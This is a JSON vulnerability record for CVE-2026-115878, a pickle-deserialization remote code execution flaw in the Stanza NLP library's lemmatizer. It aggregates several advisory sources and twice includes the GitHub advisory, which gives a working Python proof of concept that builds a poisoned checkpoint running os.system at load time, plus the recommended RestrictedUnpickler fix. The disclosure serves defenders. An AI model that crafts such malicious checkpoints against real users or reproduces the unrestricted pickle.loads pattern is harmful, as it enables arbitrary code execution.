{"id":"CVE-2026-115878","aliases":["EUVD-2026-116216","GHSA-gh9r-c94j-cmp5"],"status":"published","title":"Stanza: RCE via pickle deserialization in the lemmatizer","description":"Stanza is a Stanford NLP Python library for tokenization, sentence segmentation, NER, and parsing of many human languages. From 1.14.0 until 1.15.0, loading an attacker-supplied lemmatizer checkpoint can execute arbitrary code because stanza/models/lemma/trainer.py stores pos_dict as gzip-compressed pickle bytes and Trainer.load passes the decompressed stream to unrestricted pickle.loads. The outer torch.load call uses weights_only=True, but the nested bytes are treated as a primitive and are not inspected by that allowlist. The path is reachable during pipeline construction through a caller-influenced lemma_model_path, before inference begins. This issue is fixed in version 1.15.0.","severity":{"version":"3.1","score":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.00597,"percentile":0.49084,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":true,"fix_available":true},"cwes":["CWE-502","CWE-94"],"published":"2026-11-03T20:26:02Z","modified":"2026-11-05T03:29:53Z","exploits":[{"source":"pocgithub","id":"federiconbaez/cortex9-stanza-lemma-pickle-to-json-model","title":"federiconbaez/cortex9-stanza-lemma-pickle-to-json-model","date":"2026-11-09","url":"https://github.com/federiconbaez/cortex9-stanza-lemma-pickle-to-json-model"}],"fixes":[{"ecosystem":"PyPI","package":"stanza","fixed_in":["1.15.0"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"stanza","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.14.0"},{"last_affected":"1.14.0"},{"fixed":"1.15.0"}]}],"versions":["1.14.0"]},{"source":"osv","ecosystem":"PyPI","package":"stanza","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.14.0"},{"fixed":"1.15.0"}]}],"versions":["1.14.0"]}],"products":[{"vendor":"stanfordnlp","product":"stanza"}],"references":[{"url":"https://github.com/stanfordnlp/stanza/security/advisories/GHSA-gh9r-c94j-cmp5","tags":["x_refsource_CONFIRM","advisory","web"]},{"url":"https://github.com/stanfordnlp/stanza/pull/1649","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/stanfordnlp/stanza/commit/b21e1c9b47b4fccff21d3b0a6c0687a19410c2f0","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/stanfordnlp/stanza/releases/tag/v1.15.0","tags":["x_refsource_MISC","web"]},{"url":"https://github.com/advisories/GHSA-gh9r-c94j-cmp5"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/115xxx/CVE-2026-115878.json","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115878","tags":["advisory"]},{"url":"https://github.com/stanfordnlp/stanza","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-115878","title":"Stanza: RCE via pickle deserialization in the lemmatizer","description":"Stanza is a Stanford NLP Python library for tokenization, sentence segmentation, NER, and parsing of many human languages. From 1.14.0 until 1.15.0, loading an attacker-supplied lemmatizer checkpoint can execute arbitrary code because stanza/models/lemma/trainer.py stores pos_dict as gzip-compressed pickle bytes and Trainer.load passes the decompressed stream to unrestricted pickle.loads. The outer torch.load call uses weights_only=True, but the nested bytes are treated as a primitive and are not inspected by that allowlist. The path is reachable during pipeline construction through a caller-influenced lemma_model_path, before inference begins. This issue is fixed in version 1.15.0.","status":"published","published":"2026-11-03T20:26:02.22Z","modified":"2026-11-03T22:39:36.547Z","cvss":[{"version":"3.1","score":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high","assessor":"cna"}],"cwes":["CWE-94","CWE-502"],"updated_at":"2026-11-03T23:33:09.361697Z"}],"euvd":[{"id":"EUVD-2026-116216","description":"Stanza is a Stanford NLP Python library for tokenization, sentence segmentation, NER, and parsing of many human languages. From 1.14.0 until 1.15.0, loading an attacker-supplied lemmatizer checkpoint can execute arbitrary code because stanza/models/lemma/trainer.py stores pos_dict as gzip-compressed pickle bytes and Trainer.load passes the decompressed stream to unrestricted pickle.loads. The outer torch.load call uses weights_only=True, but the nested bytes are treated as a primitive and are not inspected by that allowlist. The path is reachable during pipeline construction through a caller-influenced lemma_model_path, before inference begins. This issue is fixed in version 1.15.0.","status":"published","published":"2026-11-03T20:26:02Z","modified":"2026-11-03T22:39:36Z","cvss":[{"version":"3.1","score":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-04T00:49:23.174177Z"}],"ghsa":[{"id":"GHSA-gh9r-c94j-cmp5","title":"Stanza: RCE via pickle deserialization in the lemmatizer","description":"## TL;DR\n\nLoading an attacker-supplied lemma `.pt` runs arbitrary code as the loading user. Since 1.14.0 the lemmatizer stores `pos_dict` as a gzip-compressed pickle in the checkpoint's `dicts` field (a `bytes` value). `torch.load(weights_only=True)` treats `bytes` as a primitive and passes it through unexamined, so its allowlist never sees the inner stream. `Trainer.load` then feeds those bytes to an **unrestricted `pickle.loads`**: the only bare `pickle.loads` in the tree. Result: `weights_only=True` gives no protection here, and model loading executes code.\n\nConfirmed end-to-end against stanza 1.14.0 / PyTorch 2.13.0 / CPython 3.13.7: a crafted checkpoint whose payload `__reduce__` returns `(os.system, (cmd,))` ran the command at load time (marker file showed `uid=501(...)`, `executed_by=...`).\n\nA downstream user is vulnerable whenever they build a pipeline that loads a caller-supplied lemmatizer checkpoint. i.e. `stanza.Pipeline(lang=..., processors=\"tokenize,pos,lemma\", lemma_model_path=\"\u003cattacker-influenced .pt\u003e\")` (or any equivalent load of an untrusted/shared lemma model through a custom registry) - since that call routes straight into `Trainer.load` -\u003e `_unpack_pos_dict` and executes the embedded pickle at construction time.\n\n## The vulnerable path\n\n`stanza/models/lemma/trainer.py`:\n\n```python\n# _pack_pos_dict (write side): pos_dict -\u003e pickle -\u003e gzip -\u003e bytes, stored under checkpoint['dicts']\n\ndef _unpack_pos_dict(data):                 # line 54\n    buf = io.BytesIO(data)\n    with gzip.GzipFile(fileobj=buf, mode=\"rb\") as gz:\n        raw = gz.read()\n    return pickle.loads(raw)                # \u003c-- unrestricted default unpickler\n```\n\n```python\ndef load(self, filename, ...):              # line 365\n    checkpoint = torch.load(filename, ..., weights_only=True)   # outer allowlist; bytes pass through intact\n    ...\n    if dicts_version == _DICTS_VERSION_POS:                     # dicts_version == 2 (current format)\n        self.pos_dict = _unpack_pos_dict(checkpoint['dicts'])   # line 378, no validation\n```\n\n**Reachable from the documented API.** `stanza.Pipeline(..., lemma_model_path=\u003cfile\u003e)` -\u003e `LemmaProcessor._set_up_model` -\u003e `Trainer(model_file=…)` -\u003e `Trainer.load`. Any shared/distributed checkpoint, custom registry, or caller-supplied `lemma_model_path` reaches it. No checksum is applied to caller-supplied paths (MD5 verification exists only in the default registry download flow). Trigger is at pipeline construction, before any inference input is processed.\n\nNote: this is **not** the `weights_only=False` fallback fixed under CVE-2026-54499: the outer load stays safe; the exposure is entirely the inner pickle.\n\n## Minimal PoC\n\n```python\nimport gzip, io, os, pickle, tempfile, torch\nfrom stanza.models.lemma.trainer import _unpack_pos_dict, _DICTS_VERSION_POS\n\nMARKER = os.path.join(tempfile.gettempdir(), \"stanza_lemma_poc_pwned\")\n\nclass Payload:\n    def __reduce__(self):\n        return (os.system, (\"id \u003e %s 2\u003e\u00261; echo executed_by=$(whoami) \u003e\u003e %s\" % (MARKER, MARKER),))\n\nbuf = io.BytesIO()\nwith gzip.GzipFile(fileobj=buf, mode=\"wb\") as gz:        # same shape as _pack_pos_dict()\n    gz.write(pickle.dumps(Payload(), protocol=4))\n\nckpt = {\"dicts\": buf.getvalue(), \"dicts_version\": _DICTS_VERSION_POS}\npt = os.path.join(tempfile.gettempdir(), \"evil_lemma.pt\")\ntorch.save(ckpt, pt, _use_new_zipfile_serialization=False)\n\nloaded = torch.load(pt, lambda s, l: s, weights_only=True)   # SUCCEEDS; dicts is bytes, intact\n_unpack_pos_dict(loaded[\"dicts\"])                            # == trainer.py:378 -\u003e command runs\nprint(\"pwned:\", open(MARKER).read().strip())\n```\n\nThe PoC calls `_unpack_pos_dict` directly: the exact expression at `trainer.py:378`. Reaching it through `stanza.Pipeline(...)` additionally requires the crafted file to carry a well-formed `config`/`vocab` so `load` runs to line 378 (established by source review); the deserialization to execution step is confirmed at runtime.\n\n## Fix\n\nDeserialize the inner stream with the `RestrictedUnpickler` the project already uses in `stanza/models/common/doc.py` (allowlists `tuple`/`list`/`dict` only):\n\n```python\nfrom stanza.models.common.doc import RestrictedUnpickler\n\ndef _unpack_pos_dict(data):\n    buf = io.BytesIO(data)\n    with gzip.GzipFile(fileobj=buf, mode=\"rb\") as gz:\n        raw = gz.read()\n    return RestrictedUnpickler(io.BytesIO(raw)).load()\n```\n\nA legitimate `pos_dict` is a nested `{pos: {word: lemma}}` string mapping no class/function globals, so it loads cleanly, while any `os.system`-style payload is rejected by `find_class`. JSON would work equally well (all keys/values are strings) and remove pickle from this path entirely. Apply to both `_unpack_pos_dict` and, for forward compatibility, `_pack_pos_dict`.","status":"published","published":"2026-11-03T20:29:16Z","modified":"2026-11-03T20:29:16Z","cvss":[{"version":"3.1","score":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-94","CWE-502"],"updated_at":"2026-11-03T20:32:58.558171Z"}],"nvd":[{"id":"CVE-2026-115878","description":"Stanza is a Stanford NLP Python library for tokenization, sentence segmentation, NER, and parsing of many human languages. From 1.14.0 until 1.15.0, loading an attacker-supplied lemmatizer checkpoint can execute arbitrary code because stanza/models/lemma/trainer.py stores pos_dict as gzip-compressed pickle bytes and Trainer.load passes the decompressed stream to unrestricted pickle.loads. The outer torch.load call uses weights_only=True, but the nested bytes are treated as a primitive and are not inspected by that allowlist. The path is reachable during pipeline construction through a caller-influenced lemma_model_path, before inference begins. This issue is fixed in version 1.15.0.","status":"published","published":"2026-11-03T21:17:02.377Z","modified":"2026-11-12T20:04:52.377Z","cvss":[{"version":"3.1","score":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high","assessor":"secondary"}],"cwes":["CWE-94","CWE-502"],"updated_at":"2026-11-12T21:32:41.877972Z"}],"osv":[{"id":"CVE-2026-115878","title":"Stanza: RCE via pickle deserialization in the lemmatizer","description":"Stanza is a Stanford NLP Python library for tokenization, sentence segmentation, NER, and parsing of many human languages. From 1.14.0 until 1.15.0, loading an attacker-supplied lemmatizer checkpoint can execute arbitrary code because stanza/models/lemma/trainer.py stores pos_dict as gzip-compressed pickle bytes and Trainer.load passes the decompressed stream to unrestricted pickle.loads. The outer torch.load call uses weights_only=True, but the nested bytes are treated as a primitive and are not inspected by that allowlist. The path is reachable during pipeline construction through a caller-influenced lemma_model_path, before inference begins. This issue is fixed in version 1.15.0.","status":"published","published":"2026-11-03T20:26:02.22Z","modified":"2026-11-05T03:29:53.133489084Z","cvss":[{"version":"3.1","score":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-502","CWE-94"],"updated_at":"2026-11-05T07:12:46.161235Z"},{"id":"GHSA-gh9r-c94j-cmp5","title":"Stanza: RCE via pickle deserialization in the lemmatizer","description":"## TL;DR\n\nLoading an attacker-supplied lemma `.pt` runs arbitrary code as the loading user. Since 1.14.0 the lemmatizer stores `pos_dict` as a gzip-compressed pickle in the checkpoint's `dicts` field (a `bytes` value). `torch.load(weights_only=True)` treats `bytes` as a primitive and passes it through unexamined, so its allowlist never sees the inner stream. `Trainer.load` then feeds those bytes to an **unrestricted `pickle.loads`**: the only bare `pickle.loads` in the tree. Result: `weights_only=True` gives no protection here, and model loading executes code.\n\nConfirmed end-to-end against stanza 1.14.0 / PyTorch 2.13.0 / CPython 3.13.7: a crafted checkpoint whose payload `__reduce__` returns `(os.system, (cmd,))` ran the command at load time (marker file showed `uid=501(...)`, `executed_by=...`).\n\nA downstream user is vulnerable whenever they build a pipeline that loads a caller-supplied lemmatizer checkpoint. i.e. `stanza.Pipeline(lang=..., processors=\"tokenize,pos,lemma\", lemma_model_path=\"\u003cattacker-influenced .pt\u003e\")` (or any equivalent load of an untrusted/shared lemma model through a custom registry) - since that call routes straight into `Trainer.load` -\u003e `_unpack_pos_dict` and executes the embedded pickle at construction time.\n\n## The vulnerable path\n\n`stanza/models/lemma/trainer.py`:\n\n```python\n# _pack_pos_dict (write side): pos_dict -\u003e pickle -\u003e gzip -\u003e bytes, stored under checkpoint['dicts']\n\ndef _unpack_pos_dict(data):                 # line 54\n    buf = io.BytesIO(data)\n    with gzip.GzipFile(fileobj=buf, mode=\"rb\") as gz:\n        raw = gz.read()\n    return pickle.loads(raw)                # \u003c-- unrestricted default unpickler\n```\n\n```python\ndef load(self, filename, ...):              # line 365\n    checkpoint = torch.load(filename, ..., weights_only=True)   # outer allowlist; bytes pass through intact\n    ...\n    if dicts_version == _DICTS_VERSION_POS:                     # dicts_version == 2 (current format)\n        self.pos_dict = _unpack_pos_dict(checkpoint['dicts'])   # line 378, no validation\n```\n\n**Reachable from the documented API.** `stanza.Pipeline(..., lemma_model_path=\u003cfile\u003e)` -\u003e `LemmaProcessor._set_up_model` -\u003e `Trainer(model_file=…)` -\u003e `Trainer.load`. Any shared/distributed checkpoint, custom registry, or caller-supplied `lemma_model_path` reaches it. No checksum is applied to caller-supplied paths (MD5 verification exists only in the default registry download flow). Trigger is at pipeline construction, before any inference input is processed.\n\nNote: this is **not** the `weights_only=False` fallback fixed under CVE-2026-54499: the outer load stays safe; the exposure is entirely the inner pickle.\n\n## Minimal PoC\n\n```python\nimport gzip, io, os, pickle, tempfile, torch\nfrom stanza.models.lemma.trainer import _unpack_pos_dict, _DICTS_VERSION_POS\n\nMARKER = os.path.join(tempfile.gettempdir(), \"stanza_lemma_poc_pwned\")\n\nclass Payload:\n    def __reduce__(self):\n        return (os.system, (\"id \u003e %s 2\u003e\u00261; echo executed_by=$(whoami) \u003e\u003e %s\" % (MARKER, MARKER),))\n\nbuf = io.BytesIO()\nwith gzip.GzipFile(fileobj=buf, mode=\"wb\") as gz:        # same shape as _pack_pos_dict()\n    gz.write(pickle.dumps(Payload(), protocol=4))\n\nckpt = {\"dicts\": buf.getvalue(), \"dicts_version\": _DICTS_VERSION_POS}\npt = os.path.join(tempfile.gettempdir(), \"evil_lemma.pt\")\ntorch.save(ckpt, pt, _use_new_zipfile_serialization=False)\n\nloaded = torch.load(pt, lambda s, l: s, weights_only=True)   # SUCCEEDS; dicts is bytes, intact\n_unpack_pos_dict(loaded[\"dicts\"])                            # == trainer.py:378 -\u003e command runs\nprint(\"pwned:\", open(MARKER).read().strip())\n```\n\nThe PoC calls `_unpack_pos_dict` directly: the exact expression at `trainer.py:378`. Reaching it through `stanza.Pipeline(...)` additionally requires the crafted file to carry a well-formed `config`/`vocab` so `load` runs to line 378 (established by source review); the deserialization to execution step is confirmed at runtime.\n\n## Fix\n\nDeserialize the inner stream with the `RestrictedUnpickler` the project already uses in `stanza/models/common/doc.py` (allowlists `tuple`/`list`/`dict` only):\n\n```python\nfrom stanza.models.common.doc import RestrictedUnpickler\n\ndef _unpack_pos_dict(data):\n    buf = io.BytesIO(data)\n    with gzip.GzipFile(fileobj=buf, mode=\"rb\") as gz:\n        raw = gz.read()\n    return RestrictedUnpickler(io.BytesIO(raw)).load()\n```\n\nA legitimate `pos_dict` is a nested `{pos: {word: lemma}}` string mapping no class/function globals, so it loads cleanly, while any `os.system`-style payload is rejected by `find_class`. JSON would work equally well (all keys/values are strings) and remove pickle from this path entirely. Apply to both `_unpack_pos_dict` and, for forward compatibility, `_pack_pos_dict`.","status":"published","published":"2026-11-03T20:29:16Z","modified":"2026-11-03T20:45:05.204962616Z","cvss":[{"version":"3.1","score":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-502","CWE-94"],"updated_at":"2026-11-03T21:05:16.218603Z"}]}}
